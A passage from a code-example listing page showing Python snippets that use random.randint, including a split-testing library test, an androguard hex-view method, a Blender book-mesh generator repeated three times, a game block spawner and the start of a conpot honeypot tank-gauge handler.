    # Participate in experiment C, which is a multi-conversion experiment,
    # and occasionally convert in *one* of the conversions
    expected_conversions = 0
    for i in range(0, 20):
        assert(test_response("participate_in_chimpanzees") in [True, False])

        if random.randint(0, 2) > 0:
            assert(test_response("convert_in",
                                {"conversion_name": "chimps_conversion_2"},
                                use_last_cookies=True))
            expected_conversions += 1

    # It's statistically possible but incredibly unlikely 
    # for this to fail based on random.randint()'s behavior
    assert(expected_conversions > 0)

    # Make sure conversions for the 2nd conversion type 
    # of this experiment are correct
    dict_conversions_server = test_response(
                                 "count_conversions_in",
                                 {"experiment_name":
                                     "chimpanzees (chimps_conversion_2)"})
    assert(expected_conversions == sum(dict_conversions_server.values()))

    # Make sure conversions for the 1st conversion type 
    # of this experiment are empty
    dict_conversions_server = test_response(
                                "count_conversions_in",
                                {"experiment_name":
                                 "chimpanzees (chimps_conversion_1)"})
    assert(0 == sum(dict_conversions_server.values()))

    # Test that calling bingo multiple times for a single 
    # user creates only one conversion (for a BINARY conversion type)
    assert(test_response("participate_in_chimpanzees") in [True, False])
    assert(test_response("convert_in",
                        {"conversion_name": "chimps_conversion_1"},
                        use_last_cookies=True))

    assert(test_response("convert_in",
                        {"conversion_name": "chimps_conversion_1"},
                         use_last_cookies=True))

    dict_conversions_server = test_response(
                                "count_conversions_in",
                                {"experiment_name":
                                    "chimpanzees (chimps_conversion_1)"})
    assert(1 == sum(dict_conversions_server.values()))

    # End experiment C, choosing a short-circuit alternative
    test_response("end_and_choose",
                 {"canonical_name": "chimpanzees", "alternative_number": 1})

    # Make sure short-circuited alternatives for 
    # C's experiments are set appropriately
    for i in range(0, 5):
        assert(test_response("participate_in_chimpanzees") == False)

    # Test an experiment with a Counting type conversion 
    # by converting multiple times for a single user
    assert(test_response("participate_in_hippos") in [True, False])

    # Persist to the datastore before Counting stress test
    assert(test_response("persist", use_last_cookies=True))

    # Wait 20 seconds for task queues to run
    time.sleep(20)

    # Hit Counting conversions multiple times
    for i in range(0, 20):

        if i % 3 == 0:
            # Stress things out a bit by flushing the memcache .incr() 
            # counts of each hippo alternative
            assert(test_response("persist", use_last_cookies=True))
            assert(test_response("flush_hippo_counts_memcache", 
                                 use_last_cookies=True))
        
        elif i % 5 == 0:
            # Stress things out even more flushing the core bingo memcache
            assert(test_response("flush_bingo_memcache",
                                 use_last_cookies=True))


        assert(test_response("convert_in",
                            {"conversion_name": "hippos_binary"},
                            use_last_cookies=True))

        assert(test_response("convert_in",
                            {"conversion_name": "hippos_counting"},
                            use_last_cookies=True))


    dict_conversions_server = test_response(
                                "count_conversions_in",
                                {"experiment_name": "hippos (hippos_binary)"})
    assert(1 == sum(dict_conversions_server.values()))
    dict_conversions_server = test_response(
                                "count_conversions_in",
                                {"experiment_name":
                                    "hippos (hippos_counting)"})
    assert(20 == sum(dict_conversions_server.values()))

    # Participate in experiment D (weight alternatives), 
    # keeping track of alternative returned count.
    dict_alternatives = {}
    for i in range(0, 75):
        alternative = test_response("participate_in_crocodiles")
        assert(alternative in ["a", "b", "c"])

        if not alternative in dict_alternatives:
            dict_alternatives[alternative] = 0
        dict_alternatives[alternative] += 1

    # Make sure weighted alternatives work -> should be a < b < c < d < e, 
    # but they should all exist.
    #
    # Again, it is statistically possible for
    # the following asserts to occasionally fail during
    # these tests, but it should be exceedingly rare 
    # if weighted alternatives are working properly.
    for key in ["a", "b", "c"]:
        assert(dict_alternatives.get(key, 0) > 0)
    assert(dict_alternatives.get("a", 0) < dict_alternatives.get("b", 0))
    assert(dict_alternatives.get("b", 0) < dict_alternatives.get("c", 0))

    # Check experiments count
    assert(test_response("count_experiments") == 7)

    # Test persist and load from DS
    assert(test_response("persist"))
    assert(test_response("flush_all_memcache"))

    # Check experiments and conversion counts 
    # remain after persist and memcache flush
    assert(test_response("count_experiments") == 7)

    dict_conversions_server = test_response(
                                "count_conversions_in", 
                                {"experiment_name":
                                    "chimpanzees (chimps_conversion_2)"})
    assert(expected_conversions == sum(dict_conversions_server.values()))

    # Test archiving
    assert(test_response("archive_monkeys"))

    # Test lack of presence in normal list of experiments after archive
    assert("monkeys" not in test_response("get_experiments"))

    # Test presence in list of archived experiments
    assert("monkeys" in test_response("get_archived_experiments"))

    # Test participating in monkeys once again after archiving
    # and make sure there's only one participant
    assert(test_response("participate_in_monkeys") in [True, False])
    assert(test_response("count_participants_in",
                        {"experiment_name": "monkeys"})
           == 1)

    print "Tests successful."

Example 29

Project: androguard
Source File: HexViewMode.py
View license
    def add_annotation(self, mode):
        QtCore.QObject.connect(self.ann_w.treeWidget.selectionModel(), QtCore.SIGNAL('selectionChanged(QItemSelection, QItemSelection)'), self.selectionChanged)
        QtCore.QObject.connect(self.ann_w.treeWidget, QtCore.SIGNAL('itemChanged(QTreeWidgetItem*, int)'), self.itemChanged)


        ID_NAME = 0
        ID_OFFSET = 1
        ID_SIZE = 2
        ID_VALUE = 3
        ID_DESCRIPTION = 4
        ID_COLOR = 5

        if self.selector.getCurrentSelection():
            u, v = self.selector.getCurrentSelection()
        else:
            return

        import random
        r = random.randint(0, 255)
        g = random.randint(0, 255)
        b = random.randint(0, 255)

        opacity = 0.4
        if mode == 2:
            opacity = 0.25

        qcolor = QtGui.QColor(r, g, b)
        added = self.selector.addSelection((u, v, QtGui.QBrush(qcolor), opacity), type=TextSelection.SelectionType.PERMANENT)

#        if not added:
#            return

        t = self.ann_w.treeWidget

        row = AnnonItem(None, self.ann_w.treeWidget, qcolor.name())
        row.setFlags(QtCore.Qt.ItemIsSelectable |
                  QtCore.Qt.ItemIsEnabled |
                  QtCore.Qt.ItemIsEditable |
                  QtCore.Qt.ItemIsDropEnabled |
                  QtCore.Qt.ItemIsDragEnabled)

        t.setAcceptDrops(True)
        t.setDragEnabled(True)
        t.setDragDropMode(QtGui.QAbstractItemView.InternalMove)

        delegate = NoEditDelegate()
        t.setItemDelegateForColumn(1, delegate)
        t.setItemDelegateForColumn(2, delegate)
        t.setItemDelegateForColumn(3, delegate)
        t.setItemDelegateForColumn(5, delegate)


        row.setName(self.ann_w.newFieldName())
        row.setOffset(u)
        #row.setText(ID_NAME, 'field_0')
        #row.setText(ID_OFFSET, hex(u))

        size = v - u
        #row.setText(ID_SIZE, hex(size))
        row.setSize(size)

        value = ''
        if size == 1:
            value = self.dataModel.getBYTE(u, asString=True)
        elif size == 2:
            value = self.dataModel.getWORD(u, asString=True)
        elif size == 4:
            value = self.dataModel.getDWORD(u, asString=True)
        else:
            value = repr(str(self.dataModel.getStream(u, v)))


        #row.setText(ID_VALUE, value)
        row.setValue(value)

        #cmb.setCurrentIndex(cmb.findData(w))

        if mode == 2:
            self.ann_w.treeWidget.addTopLevelItem(row)

        if mode == 1:
            selected = t.selectedItems()
            if len(selected) == 1:
                selected = selected[0]
            else:
                selected = t.topLevelItem(0)

            if selected:
                selected.addChild(row)

        t.expandItem(row)

        #cmb = QColorButton()
        #cmb.setColor(qcolor.name())
        #self.ann_w.treeWidget.setItemWidget(row, ID_COLOR, cmb)

        self.ann_w.treeWidget.setItemWidget(row, ID_COLOR, row.cmb)

Example 30

Project: blender
Source File: books_maker.py
View license
def create_book(objName,sX,sY,sZ,pX,pY,pZ,mat,frX,frY,frZ,frR,oX,oY,oZ,oR,hue,saturation,value,frC):
    # gap Randomness
    rI = random.randint(10,150)
    gap = rI / 100000
    # Randomness X   
    if (oX == 0):
        rI = random.randint(0,int(frX * 1000))
        factor = rI / 1000
        sX = sX - (sX * factor)
        if (sX < (gap * 3)):
            sX = gap * 3
    else:
        sX = oX        

    # Randomness Y   
    if (oY == 0):
        rI = random.randint(0,int(frY * 1000))
        factor = rI / 1000
        sY = sY - (sY * factor)
        if (sY < (gap * 3)):
            sY = gap * 3
    else:
        sY = oY        

    # Randomness Z   
    if (oZ == 0):
        rI = random.randint(0,int(frZ * 1000))
        factor = rI / 1000
        sZ = sZ - (sZ * factor)
        if (sZ < (gap * 3)):
            sZ = gap * 3
    else:
        sZ = oZ        

    # Randomness rotation   
    rot = 0
    if (frR > 0 and oR != -1):
        if (oR == 0):
            rI = random.randint(0,int(frR * 1000))
            factor = rI / 1000
            rot = 30 * factor
        else:
            rot = oR    

    # Randomness color (only hue)   
    if (frC > 0):
        rC1 = random.randint(0,int(hue * 1000)) # 0 to hue
        rC2 = random.randint(int(hue * 1000),1000) # hue to maximum
        rC3 = random.randint(0,1000) # sign

        if (rC3 >= hue * 1000):
            hue = hue + ((rC2 * frC) / 1000)
        else:
            hue = hue -  ((rC1 * frC) / 1000)
                


    myVertex = []
    myFaces = []
    x = 0
    # Left side
    myVertex.extend([(x,-sY,0),(0,0,0),(x,0,sZ),(x,-sY,sZ)])
    myFaces.extend([(0,1,2,3)])

    myVertex.extend([(x + gap,-sY + gap,0),(x + gap,0,0),(x + gap,0,sZ),(x + gap,-sY + gap,sZ)])
    myFaces.extend([(4,5,6,7)])
    
    # Right side
    x = sX - gap
    myVertex.extend([(x,-sY + gap,0),(x,0,0),(x,0,sZ),(x,-sY + gap,sZ)])
    myFaces.extend([(8,9,10,11)])
    
    myVertex.extend([(x + gap,-sY,0),(x + gap,0,0),(x + gap,0,sZ),(x + gap,-sY,sZ)])
    myFaces.extend([(12,13,14,15)])
    
    myFaces.extend([(0,12,15,3),(4,8,11,7),(3,15,11,7),(0,12,8,4),(0,1,5,4),(8,9,13,12),(3,2,6,7)
                    ,(11,10,14,15),(1,2,6,5),(9,10,14,13)])
    
    # Top inside
    myVertex.extend([(gap,-sY + gap,sZ-gap),(gap, -gap,sZ-gap),(sX-gap, -gap,sZ-gap),(sX-gap,-sY + gap,sZ-gap)])
    myFaces.extend([(16,17,18,19)])
     
    # bottom inside and front face
    myVertex.extend([(gap,-sY + gap,gap),(gap, -gap,gap),(sX-gap, -gap,gap),(sX-gap,-sY + gap,gap)])
    myFaces.extend([(20,21,22,23),(17,18,22,21)])

    mymesh = bpy.data.meshes.new(objName)
    myBook = bpy.data.objects.new(objName, mymesh)
    
    myBook.location[0] = pX
    myBook.location[1] = pY
    myBook.location[2] = pZ + math.sin(math.radians(rot)) * sX 
    bpy.context.scene.objects.link(myBook)
    
    mymesh.from_pydata(myVertex, [], myFaces)
    mymesh.update(calc_edges=True)
    
    #---------------------------------
    # Materials and UV Maps
    #---------------------------------
    if (mat):
        rgb = colorsys.hsv_to_rgb(hue, saturation, value)
        # External
        mat = create_diffuse_material(objName + "_material", True, rgb[0], rgb[1], rgb[2], rgb[0], rgb[1], rgb[2], 0.05)
        set_material(myBook, mat)
        # UV unwrap external
        select_faces(myBook, 0, True)
        select_faces(myBook, 3, False)
        select_faces(myBook, 4, False)
        unwrap_mesh(myBook,False)
        # Add Internal
        mat = create_diffuse_material(objName + "_side_material", True, 0.5, 0.5, 0.5, 0.5, 0.5, 0.3, 0.03)
        myBook.data.materials.append(mat)
        select_faces(myBook, 14, True)
        select_faces(myBook, 15, False)
        select_faces(myBook, 16, False)
        set_material_faces(myBook, 1)
        # UV unwrap
        bpy.ops.object.mode_set(mode='EDIT', toggle=False)
        bpy.ops.mesh.select_all(action = 'DESELECT')
        bpy.ops.object.mode_set(mode = 'OBJECT')
        select_faces(myBook, 14, True)
        select_faces(myBook, 15, False)
        select_faces(myBook, 16, False)
        unwrap_mesh(myBook,False)
        
    #---------------------------------
    # Rotation on Y axis
    #---------------------------------
    myBook.rotation_euler = (0.0, math.radians(rot), 0.0) # radians
    
    # add some gap to the size between books
    return (myBook,(sX,sY,sZ,rot))

Example 31

Project: blender
Source File: books_maker.py
View license
def create_book(objName,sX,sY,sZ,pX,pY,pZ,mat,frX,frY,frZ,frR,oX,oY,oZ,oR,hue,saturation,value,frC):
    # gap Randomness
    rI = random.randint(10,150)
    gap = rI / 100000
    # Randomness X   
    if (oX == 0):
        rI = random.randint(0,int(frX * 1000))
        factor = rI / 1000
        sX = sX - (sX * factor)
        if (sX < (gap * 3)):
            sX = gap * 3
    else:
        sX = oX        

    # Randomness Y   
    if (oY == 0):
        rI = random.randint(0,int(frY * 1000))
        factor = rI / 1000
        sY = sY - (sY * factor)
        if (sY < (gap * 3)):
            sY = gap * 3
    else:
        sY = oY        

    # Randomness Z   
    if (oZ == 0):
        rI = random.randint(0,int(frZ * 1000))
        factor = rI / 1000
        sZ = sZ - (sZ * factor)
        if (sZ < (gap * 3)):
            sZ = gap * 3
    else:
        sZ = oZ        

    # Randomness rotation   
    rot = 0
    if (frR > 0 and oR != -1):
        if (oR == 0):
            rI = random.randint(0,int(frR * 1000))
            factor = rI / 1000
            rot = 30 * factor
        else:
            rot = oR    

    # Randomness color (only hue)   
    if (frC > 0):
        rC1 = random.randint(0,int(hue * 1000)) # 0 to hue
        rC2 = random.randint(int(hue * 1000),1000) # hue to maximum
        rC3 = random.randint(0,1000) # sign

        if (rC3 >= hue * 1000):
            hue = hue + ((rC2 * frC) / 1000)
        else:
            hue = hue -  ((rC1 * frC) / 1000)
                


    myVertex = []
    myFaces = []
    x = 0
    # Left side
    myVertex.extend([(x,-sY,0),(0,0,0),(x,0,sZ),(x,-sY,sZ)])
    myFaces.extend([(0,1,2,3)])

    myVertex.extend([(x + gap,-sY + gap,0),(x + gap,0,0),(x + gap,0,sZ),(x + gap,-sY + gap,sZ)])
    myFaces.extend([(4,5,6,7)])
    
    # Right side
    x = sX - gap
    myVertex.extend([(x,-sY + gap,0),(x,0,0),(x,0,sZ),(x,-sY + gap,sZ)])
    myFaces.extend([(8,9,10,11)])
    
    myVertex.extend([(x + gap,-sY,0),(x + gap,0,0),(x + gap,0,sZ),(x + gap,-sY,sZ)])
    myFaces.extend([(12,13,14,15)])
    
    myFaces.extend([(0,12,15,3),(4,8,11,7),(3,15,11,7),(0,12,8,4),(0,1,5,4),(8,9,13,12),(3,2,6,7)
                    ,(11,10,14,15),(1,2,6,5),(9,10,14,13)])
    
    # Top inside
    myVertex.extend([(gap,-sY + gap,sZ-gap),(gap, -gap,sZ-gap),(sX-gap, -gap,sZ-gap),(sX-gap,-sY + gap,sZ-gap)])
    myFaces.extend([(16,17,18,19)])
     
    # bottom inside and front face
    myVertex.extend([(gap,-sY + gap,gap),(gap, -gap,gap),(sX-gap, -gap,gap),(sX-gap,-sY + gap,gap)])
    myFaces.extend([(20,21,22,23),(17,18,22,21)])

    mymesh = bpy.data.meshes.new(objName)
    myBook = bpy.data.objects.new(objName, mymesh)
    
    myBook.location[0] = pX
    myBook.location[1] = pY
    myBook.location[2] = pZ + math.sin(math.radians(rot)) * sX 
    bpy.context.scene.objects.link(myBook)
    
    mymesh.from_pydata(myVertex, [], myFaces)
    mymesh.update(calc_edges=True)
    
    #---------------------------------
    # Materials and UV Maps
    #---------------------------------
    if (mat):
        rgb = colorsys.hsv_to_rgb(hue, saturation, value)
        # External
        mat = create_diffuse_material(objName + "_material", True, rgb[0], rgb[1], rgb[2], rgb[0], rgb[1], rgb[2], 0.05)
        set_material(myBook, mat)
        # UV unwrap external
        select_faces(myBook, 0, True)
        select_faces(myBook, 3, False)
        select_faces(myBook, 4, False)
        unwrap_mesh(myBook,False)
        # Add Internal
        mat = create_diffuse_material(objName + "_side_material", True, 0.5, 0.5, 0.5, 0.5, 0.5, 0.3, 0.03)
        myBook.data.materials.append(mat)
        select_faces(myBook, 14, True)
        select_faces(myBook, 15, False)
        select_faces(myBook, 16, False)
        set_material_faces(myBook, 1)
        # UV unwrap
        bpy.ops.object.mode_set(mode='EDIT', toggle=False)
        bpy.ops.mesh.select_all(action = 'DESELECT')
        bpy.ops.object.mode_set(mode = 'OBJECT')
        select_faces(myBook, 14, True)
        select_faces(myBook, 15, False)
        select_faces(myBook, 16, False)
        unwrap_mesh(myBook,False)
        
    #---------------------------------
    # Rotation on Y axis
    #---------------------------------
    myBook.rotation_euler = (0.0, math.radians(rot), 0.0) # radians
    
    # add some gap to the size between books
    return (myBook,(sX,sY,sZ,rot))

Example 32

Project: blender
Source File: books_maker.py
View license
def create_book(objName,sX,sY,sZ,pX,pY,pZ,mat,frX,frY,frZ,frR,oX,oY,oZ,oR,hue,saturation,value,frC):
    # gap Randomness
    rI = random.randint(10,150)
    gap = rI / 100000
    # Randomness X   
    if (oX == 0):
        rI = random.randint(0,int(frX * 1000))
        factor = rI / 1000
        sX = sX - (sX * factor)
        if (sX < (gap * 3)):
            sX = gap * 3
    else:
        sX = oX        

    # Randomness Y   
    if (oY == 0):
        rI = random.randint(0,int(frY * 1000))
        factor = rI / 1000
        sY = sY - (sY * factor)
        if (sY < (gap * 3)):
            sY = gap * 3
    else:
        sY = oY        

    # Randomness Z   
    if (oZ == 0):
        rI = random.randint(0,int(frZ * 1000))
        factor = rI / 1000
        sZ = sZ - (sZ * factor)
        if (sZ < (gap * 3)):
            sZ = gap * 3
    else:
        sZ = oZ        

    # Randomness rotation   
    rot = 0
    if (frR > 0 and oR != -1):
        if (oR == 0):
            rI = random.randint(0,int(frR * 1000))
            factor = rI / 1000
            rot = 30 * factor
        else:
            rot = oR    

    # Randomness color (only hue)   
    if (frC > 0):
        rC1 = random.randint(0,int(hue * 1000)) # 0 to hue
        rC2 = random.randint(int(hue * 1000),1000) # hue to maximum
        rC3 = random.randint(0,1000) # sign

        if (rC3 >= hue * 1000):
            hue = hue + ((rC2 * frC) / 1000)
        else:
            hue = hue -  ((rC1 * frC) / 1000)
                


    myVertex = []
    myFaces = []
    x = 0
    # Left side
    myVertex.extend([(x,-sY,0),(0,0,0),(x,0,sZ),(x,-sY,sZ)])
    myFaces.extend([(0,1,2,3)])

    myVertex.extend([(x + gap,-sY + gap,0),(x + gap,0,0),(x + gap,0,sZ),(x + gap,-sY + gap,sZ)])
    myFaces.extend([(4,5,6,7)])
    
    # Right side
    x = sX - gap
    myVertex.extend([(x,-sY + gap,0),(x,0,0),(x,0,sZ),(x,-sY + gap,sZ)])
    myFaces.extend([(8,9,10,11)])
    
    myVertex.extend([(x + gap,-sY,0),(x + gap,0,0),(x + gap,0,sZ),(x + gap,-sY,sZ)])
    myFaces.extend([(12,13,14,15)])
    
    myFaces.extend([(0,12,15,3),(4,8,11,7),(3,15,11,7),(0,12,8,4),(0,1,5,4),(8,9,13,12),(3,2,6,7)
                    ,(11,10,14,15),(1,2,6,5),(9,10,14,13)])
    
    # Top inside
    myVertex.extend([(gap,-sY + gap,sZ-gap),(gap, -gap,sZ-gap),(sX-gap, -gap,sZ-gap),(sX-gap,-sY + gap,sZ-gap)])
    myFaces.extend([(16,17,18,19)])
     
    # bottom inside and front face
    myVertex.extend([(gap,-sY + gap,gap),(gap, -gap,gap),(sX-gap, -gap,gap),(sX-gap,-sY + gap,gap)])
    myFaces.extend([(20,21,22,23),(17,18,22,21)])

    mymesh = bpy.data.meshes.new(objName)
    myBook = bpy.data.objects.new(objName, mymesh)
    
    myBook.location[0] = pX
    myBook.location[1] = pY
    myBook.location[2] = pZ + math.sin(math.radians(rot)) * sX 
    bpy.context.scene.objects.link(myBook)
    
    mymesh.from_pydata(myVertex, [], myFaces)
    mymesh.update(calc_edges=True)
    
    #---------------------------------
    # Materials and UV Maps
    #---------------------------------
    if (mat):
        rgb = colorsys.hsv_to_rgb(hue, saturation, value)
        # External
        mat = create_diffuse_material(objName + "_material", True, rgb[0], rgb[1], rgb[2], rgb[0], rgb[1], rgb[2], 0.05)
        set_material(myBook, mat)
        # UV unwrap external
        select_faces(myBook, 0, True)
        select_faces(myBook, 3, False)
        select_faces(myBook, 4, False)
        unwrap_mesh(myBook,False)
        # Add Internal
        mat = create_diffuse_material(objName + "_side_material", True, 0.5, 0.5, 0.5, 0.5, 0.5, 0.3, 0.03)
        myBook.data.materials.append(mat)
        select_faces(myBook, 14, True)
        select_faces(myBook, 15, False)
        select_faces(myBook, 16, False)
        set_material_faces(myBook, 1)
        # UV unwrap
        bpy.ops.object.mode_set(mode='EDIT', toggle=False)
        bpy.ops.mesh.select_all(action = 'DESELECT')
        bpy.ops.object.mode_set(mode = 'OBJECT')
        select_faces(myBook, 14, True)
        select_faces(myBook, 15, False)
        select_faces(myBook, 16, False)
        unwrap_mesh(myBook,False)
        
    #---------------------------------
    # Rotation on Y axis
    #---------------------------------
    myBook.rotation_euler = (0.0, math.radians(rot), 0.0) # radians
    
    # add some gap to the size between books
    return (myBook,(sX,sY,sZ,rot))

Example 33

Project: blender
Source File: books_maker.py
View license
def create_book(objName,sX,sY,sZ,pX,pY,pZ,mat,frX,frY,frZ,frR,oX,oY,oZ,oR,hue,saturation,value,frC):
    # gap Randomness
    rI = random.randint(10,150)
    gap = rI / 100000
    # Randomness X   
    if (oX == 0):
        rI = random.randint(0,int(frX * 1000))
        factor = rI / 1000
        sX = sX - (sX * factor)
        if (sX < (gap * 3)):
            sX = gap * 3
    else:
        sX = oX        

    # Randomness Y   
    if (oY == 0):
        rI = random.randint(0,int(frY * 1000))
        factor = rI / 1000
        sY = sY - (sY * factor)
        if (sY < (gap * 3)):
            sY = gap * 3
    else:
        sY = oY        

    # Randomness Z   
    if (oZ == 0):
        rI = random.randint(0,int(frZ * 1000))
        factor = rI / 1000
        sZ = sZ - (sZ * factor)
        if (sZ < (gap * 3)):
            sZ = gap * 3
    else:
        sZ = oZ        

    # Randomness rotation   
    rot = 0
    if (frR > 0 and oR != -1):
        if (oR == 0):
            rI = random.randint(0,int(frR * 1000))
            factor = rI / 1000
            rot = 30 * factor
        else:
            rot = oR    

    # Randomness color (only hue)   
    if (frC > 0):
        rC1 = random.randint(0,int(hue * 1000)) # 0 to hue
        rC2 = random.randint(int(hue * 1000),1000) # hue to maximum
        rC3 = random.randint(0,1000) # sign

        if (rC3 >= hue * 1000):
            hue = hue + ((rC2 * frC) / 1000)
        else:
            hue = hue -  ((rC1 * frC) / 1000)
                


    myVertex = []
    myFaces = []
    x = 0
    # Left side
    myVertex.extend([(x,-sY,0),(0,0,0),(x,0,sZ),(x,-sY,sZ)])
    myFaces.extend([(0,1,2,3)])

    myVertex.extend([(x + gap,-sY + gap,0),(x + gap,0,0),(x + gap,0,sZ),(x + gap,-sY + gap,sZ)])
    myFaces.extend([(4,5,6,7)])
    
    # Right side
    x = sX - gap
    myVertex.extend([(x,-sY + gap,0),(x,0,0),(x,0,sZ),(x,-sY + gap,sZ)])
    myFaces.extend([(8,9,10,11)])
    
    myVertex.extend([(x + gap,-sY,0),(x + gap,0,0),(x + gap,0,sZ),(x + gap,-sY,sZ)])
    myFaces.extend([(12,13,14,15)])
    
    myFaces.extend([(0,12,15,3),(4,8,11,7),(3,15,11,7),(0,12,8,4),(0,1,5,4),(8,9,13,12),(3,2,6,7)
                    ,(11,10,14,15),(1,2,6,5),(9,10,14,13)])
    
    # Top inside
    myVertex.extend([(gap,-sY + gap,sZ-gap),(gap, -gap,sZ-gap),(sX-gap, -gap,sZ-gap),(sX-gap,-sY + gap,sZ-gap)])
    myFaces.extend([(16,17,18,19)])
     
    # bottom inside and front face
    myVertex.extend([(gap,-sY + gap,gap),(gap, -gap,gap),(sX-gap, -gap,gap),(sX-gap,-sY + gap,gap)])
    myFaces.extend([(20,21,22,23),(17,18,22,21)])

    mymesh = bpy.data.meshes.new(objName)
    myBook = bpy.data.objects.new(objName, mymesh)
    
    myBook.location[0] = pX
    myBook.location[1] = pY
    myBook.location[2] = pZ + math.sin(math.radians(rot)) * sX 
    bpy.context.scene.objects.link(myBook)
    
    mymesh.from_pydata(myVertex, [], myFaces)
    mymesh.update(calc_edges=True)
    
    #---------------------------------
    # Materials and UV Maps
    #---------------------------------
    if (mat):
        rgb = colorsys.hsv_to_rgb(hue, saturation, value)
        # External
        mat = create_diffuse_material(objName + "_material", True, rgb[0], rgb[1], rgb[2], rgb[0], rgb[1], rgb[2], 0.05)
        set_material(myBook, mat)
        # UV unwrap external
        select_faces(myBook, 0, True)
        select_faces(myBook, 3, False)
        select_faces(myBook, 4, False)
        unwrap_mesh(myBook,False)
        # Add Internal
        mat = create_diffuse_material(objName + "_side_material", True, 0.5, 0.5, 0.5, 0.5, 0.5, 0.3, 0.03)
        myBook.data.materials.append(mat)
        select_faces(myBook, 14, True)
        select_faces(myBook, 15, False)
        select_faces(myBook, 16, False)
        set_material_faces(myBook, 1)
        # UV unwrap
        bpy.ops.object.mode_set(mode='EDIT', toggle=False)
        bpy.ops.mesh.select_all(action = 'DESELECT')
        bpy.ops.object.mode_set(mode = 'OBJECT')
        select_faces(myBook, 14, True)
        select_faces(myBook, 15, False)
        select_faces(myBook, 16, False)
        unwrap_mesh(myBook,False)
        
    #---------------------------------
    # Rotation on Y axis
    #---------------------------------
    myBook.rotation_euler = (0.0, math.radians(rot), 0.0) # radians
    
    # add some gap to the size between books
    return (myBook,(sX,sY,sZ,rot))

Example 34

Project: fallingsky
Source File: game.py
View license
    def spawn_bonus_blocks(self):
        """Spawns bonus blocks inside the game grid."""

        self.bonus_blocks = []

        # give them some room up top (still low odds to spawn here)
        max_spawn_height = self.height - 2

        # this is pretty much standard deviation, but with /no/ outliers
        odds = {"big": 342, "mid": 137, "sml": 21}  # HACK: keys are important
        range_distribution = {key: 0 for key in odds}

        # count bonus block spawns above and below the mean
        row_distribution = {key: Counter(above=0, below=0) for key in odds}

        # mean is at a ratio of 1:3 compared to the max height
        mean = max_spawn_height // 3

        # the standard deviation length is at a ratio of 1:7 of the max height
        std = max_spawn_height // 7

        rows_above = lambda x: list(range(
            max(mean - (std * x), 0),
            max(mean - (std * (x - 1)), 0)
        ))
        rows_below = lambda x: list(range(
            min(mean + (std * x) - std, max_spawn_height),
            min(mean + (std * (x + 1)) - std, max_spawn_height)
        ))
        Rows = namedtuple("Rows", ("above", "below"))
        row_range = lambda x: Rows(below=rows_below(x), above=rows_above(x))
        # HACK: using the key names sorted here, don't change odds' keys ;)
        rows = {key: row_range(i) for i, key in enumerate(sorted(odds), 1)}

        # fucky int: int dict to track what rows to spawn bonus blocks in
        row_spawns = {row: 0 for row in range(max_spawn_height)}

        # track each column in each row for spawning inside of
        row_columns = {
            row: list(range(-int(self.width / 2), int(self.width / 2))) for
            row in range(max_spawn_height)
        }

        for _ in range(self.bonus_block_rate):

            rolls_so_far = sum(range_distribution.values())
            while True:
                # roll and determine the odds section it landed in
                roll = random.randint(0, 1000)
                if roll < odds["sml"] * 2:
                    area = "sml"
                    if range_distribution["sml"] and rolls_so_far < 10:
                        continue  # getting this way too often, shortcut
                elif roll < odds["mid"] * 2:
                    area = "mid"
                else:
                    area = "big"

                # apply some logic to smooth out the distribution
                if rolls_so_far > 2 and range_distribution[area] and \
                        range_distribution[area] / (rolls_so_far + 1) > \
                        ((odds[area] + ((1 / 5) * odds[area])) * 2) / 1000:
                    continue
                else:
                    break

            range_distribution[area] += 1

            above = random.randint(0, 1)

            # move above/below into the lesser populated area
            dist = row_distribution[area]
            if (dist["above"] and above and dist["above"] > dist["below"]) or \
               (dist["below"] and not above and dist["below"] > dist["above"]):
                above = 0 if above else 1

            def available_rows():
                return [row for row in rows[area][above] if
                        row_spawns[row] < self.width - 1]

            this_row = None
            try:
                this_row = random.sample(available_rows(), 1)[0]
            except ValueError:
                above = 0 if above else 1  # swap value
                try:
                    this_row = random.sample(available_rows(), 1)[0]
                except ValueError:
                    # so many bonus blocks we've filled the distribution area
                    # ignored, but accept it statistically to spawn other areas
                    pass
            finally:
                if this_row is None:
                    break  # there are no more available rows
                row_spawns[this_row] += 1

            if above:
                row_distribution[area]["above"] += 1
            else:
                row_distribution[area]["below"] += 1

            column = random.sample(row_columns[this_row], 1)[0]
            row_columns[this_row].remove(column)
            level = random.randint(3, 5)
            location = Coord(
                self.centre_px + (column * self.blocksize),
                self.vertical_offset + (
                    (self.height - this_row - 3) * self.blocksize
                )
            )
            self.spawn_bonus_block(location, level)

Example 35

Project: conpot
Source File: guardian_ast_server.py
View license
    def handle(self, sock, addr):
        session = conpot_core.get_session('guardian_ast', addr[0], addr[1])
        logger.info('New GuardianAST connection from %s:%d. (%s)', addr[0], addr[1], session.id)
        session.add_event({'type': 'NEW_CONNECTION'})
        current_time = datetime.datetime.utcnow()
        fill_start = self.fill_offset_time - datetime.timedelta(minutes=313)
        fill_stop = self.fill_offset_time - datetime.timedelta(minutes=303)
        # Default Product names, change based off country needs
        product1 = self.databus.get_value('product1').ljust(22)
        product2 = self.databus.get_value('product2').ljust(22)
        product3 = self.databus.get_value('product3').ljust(22)
        product4 = self.databus.get_value('product4').ljust(22)

        # Create random Numbers for the volumes
        #
        # this will crate an initial Volume and then the second value based
        # off the orig value.
        vol1 = self.databus.get_value('vol1')
        vol1tc = random.randint(vol1, vol1+200)
        vol2 = self.databus.get_value('vol2')
        vol2tc = random.randint(vol2, vol2+200)
        vol3 = self.databus.get_value('vol3')
        vol3tc = random.randint(vol3, vol3+200)
        vol4 = self.databus.get_value('vol4')
        vol4tc = random.randint(vol4, vol4+200)

        # unfilled space ULLAGE
        ullage1 = str(self.databus.get_value('ullage1'))
        ullage2 = str(self.databus.get_value('ullage2'))
        ullage3 = str(self.databus.get_value('ullage3'))
        ullage4 = str(self.databus.get_value('ullage3'))

        # Height of tank
        height1 = str(self.databus.get_value('height1')).ljust(5, '0')
        height2 = str(self.databus.get_value('height2')).ljust(5, '0')
        height3 = str(self.databus.get_value('height3')).ljust(5, '0')
        height4 = str(self.databus.get_value('height4')).ljust(5, '0')

        # Water in tank, this is a variable that needs to be low
        h2o1 = str(self.databus.get_value('h2o1')).ljust(4, '0')
        h2o2 = str(self.databus.get_value('h2o2')).ljust(4, '0')
        h2o3 = str(self.databus.get_value('h2o3')).ljust(4, '0')
        h2o4 = str(self.databus.get_value('h2o4')).ljust(4, '0')

        # Temperature of the tank, this will need to be between 50 - 60
        temp1 = str(self.databus.get_value('temp1')).ljust(5, '0')
        temp2 = str(self.databus.get_value('temp2')).ljust(5, '0')
        temp3 = str(self.databus.get_value('temp3')).ljust(5, '0')
